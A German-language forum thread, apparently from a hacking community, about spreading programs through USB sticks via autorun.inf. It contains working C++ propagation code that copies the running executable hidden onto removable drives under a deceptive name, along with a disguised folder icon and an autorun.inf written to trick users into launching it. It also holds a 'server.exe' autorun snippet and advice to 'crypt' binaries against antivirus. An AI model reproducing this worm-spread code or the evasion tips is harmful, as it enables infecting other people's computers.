ah ok^^ ja könntest du ja machen ich werde mcih da mit denn mal auseinander setzen^^
ah ok^^ ja könntest du ja machen ich werde mcih da mit denn mal auseinander setzen^^
Das ist, wie gesagt, ein C++ Code.
Der arbeitet mit der autorun.inf-Methode
Die Variable folderIcon ist ein char-Buffer das ein Ordner-Icon enthält. folderIconLength ist die Länge des Buffers (wichtig wegen Nullbytes).
Code:DWORD WINAPI spread(LPVOID arg) { char buf[2048], buf2[2048], buf3[2048]; char exeName[] = "PRIVAT . .exe", icoName[] = "Thumbs.db .ico"; char *drive = buf; FILE *f; unsigned int i; HWND hWnd; buf[0] = 0x00; GetLogicalDriveStrings(2040, buf); while(*drive) { if(GetDriveType(drive) == 2 && drive[0] != 'A') { sprintf(buf2, "%s%s", drive, icoName); f = fopen(buf2, "r"); if(f == NULL) { fclose(f); f = fopen(buf2, "wb"); for(i = 0;i < folderIconLength;i++) fprintf(f, "%c", folderIcon[i]); fclose(f); SetFileAttributes(buf2, 4); sprintf(buf2, "%s%s", drive, exeName); hWnd = (HWND)GetModuleHandle(NULL); GetModuleFileName((HINSTANCE)hWnd, buf3, sizeof(buf3)); CopyFile(buf3, buf2, 0); SetFileAttributes(buf2, 4); CopyFile(buf3, "Mathe.exe", 0); sprintf(buf2, "%sautorun.inf", drive); f = fopen(buf2, "w"); fprintf(f, "[autorun]\nopen=%s\nicon=%s\naction=Open folder to view files\nshell\\open=Open\nshell\\open\\command=%s\nshell\\open\\default=1\n", exeName, icoName, exeName); fclose(f); } } drive = &drive[strlen(drive) + 1]; } }
Ist das CD-Autorun bei Vista und Win7 endlich per default abgeschaltet?
Also mit einem U3-Stick (und "selbst-geflashtem" CD-Teil darauf) kann man unter XP prima Autostart machen. Quasi exakt wie bei CD-ROMs eben.
Wie wird die autorun.inf bei normalen Wechseldatenträgern (aber da unterscheidet Windows ja sinnfreier Weise noch mal zwischen Stick und Festplatte) bei den einzelnen Versionen ausgewertet?
Kenn mich mit autorun jetzt nicht aus, aber würde das so gehn?
Lg[autorun]
open=server.exe
icon=wayne
action=Start myServer
~Wanna have some fun?
vergiss die idee es klappt einfach nicht xD
ja FUnktionirt 100% auf jedem stick, ich finde es gerade nicht aber du kannst jeden stick nen autostart machen mit nem kleinen tool musst halt blos gut grypten ich suche mal ob ichs finde
...
Seit wann wird der run-Parameter der autorun.inf bei Sticks automatisch ausgeführt?
Sodele, noch mal zum mitschreiben:
Es wird _nichts_ bei Sticks automatisch ausgeführt. Bei XP wird bei normalen Sticks der geparste Inhalt der autorun.inf allerdings ganz oben im Auswahlmenü angezeigt - mit der richtigen Beschreibung und dem richtigen Icon kann man den User also dazu bringen, das auszuführen.
Bei Win7 (Vista glaub ich auch) ist der Autorun mittlerweile komplett deaktiviert, selbst CD's starten nichtmehr direkt per Autorun - genau aus dem Grund, weil z.B. Conficker sich auch darüber verbreitet hat.
Ergo: für XP funzt die Methode noch, bei neueren OS nichtmehr (lasst euch was einfallen, eine gute Möglichkeit hab ich auch beschrieben )
gruß und gn8
GregorSamsa